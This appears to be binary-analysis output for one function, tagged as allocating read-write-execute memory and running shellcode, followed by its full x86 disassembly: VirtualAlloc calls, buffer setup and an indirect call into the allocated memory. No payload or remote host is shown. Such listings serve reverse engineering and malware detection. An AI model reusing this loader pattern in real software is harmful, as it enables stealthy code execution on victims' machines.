Function at 0x10005771
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x100057d3
push 0x19
push 0x40140ef
push 6
call fcn.10069544
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10005813
push 0x6a
push 0x40140ef
push 6
call fcn.10069544
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10005853
push 0xbb
push 0x40140ef
push 6
call fcn.10069544
add esp, 0xc
mov dword [ebp - 0xc], eax
push getsockname
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x1000586b
mov eax, 0x10082277
push eax
push 1
mov ebx, 0x194
call fcn.1006a7c0
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10005904
push 0x80000601
push 0x4212bfad
push 0xed600000
push 1
mov ebx, 0x168
call fcn.10069e80
add esp, 0x10
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100058c2
mov eax, 0x1008224f
push eax
push 1
mov ebx, 0x198
call fcn.1006a640
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100058e8
push ebx
call fcn.1006953e
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
test ebx, ebx
je 0x100058fe
push ebx
call fcn.1006953e
add esp, 4
pop eax
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push dword [ebp + 8]
call fcn.10005c05
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10005922
mov eax, 0x1008224f
push eax
push 1
mov ebx, 0x154
call fcn.1006b290
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10005948
push ebx
call fcn.1006953e
add esp, 4
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push 9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x10005973
mov eax, 0x1008224f
push eax
push 3
mov ebx, 0x13c
call fcn.1006a930
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10005999
push ebx
call fcn.1006953e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x100059ac
mov eax, 0x1008224f
push eax
push 1
mov ebx, 0x198
call fcn.1006a640
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100059d2
push ebx
call fcn.1006953e
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100059e6
push ebx
call fcn.1006953e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0xc], 0
je 0x10005b03
push 0x10084fc3
push dword [ebp - 0x10]
mov ecx, 2
call fcn.10002077
add esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.10005c05
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10005a28
push ebx
call fcn.1006953e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x10005a3b
mov eax, 0x1008224f
push eax
push 1
mov ebx, 0x154
call fcn.1006b290
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10005a61
push ebx
call fcn.1006953e
add esp, 4
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push 9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10005a8c
mov eax, 0x1008224f
push eax
push 3
mov ebx, 0x13c
call fcn.1006a930
add esp, 0x28
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10005ab2
push ebx
call fcn.1006953e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x10005ac5
mov eax, 0x1008224f
push eax
push 1
mov ebx, 0x198
call fcn.1006a640
add esp, 0x10
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10005aeb
push ebx
call fcn.1006953e
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10005aff
push ebx
call fcn.1006953e
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0xc]
push getsockname
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10005b26
mov eax, 0x10082277
push eax
push 3
mov ebx, 0x914
call fcn.1006b2f0
add esp, 0x28
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 8]
push 0xa0000101
push 0
push 0x10084feb
push 3
mov ebx, 0x914
call fcn.1006b2f0
add esp, 0x28
mov ecx, dword [ebp - 4]
push dword [ebp - 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10005baf
push 0xf1b
push 0x40140ef
push 6
call fcn.10069544
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10005be5
push 0xf47
push 0x40140ef
push 6
call fcn.10069544
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10005bed
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10005bfe
push ebx
call fcn.1006953e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc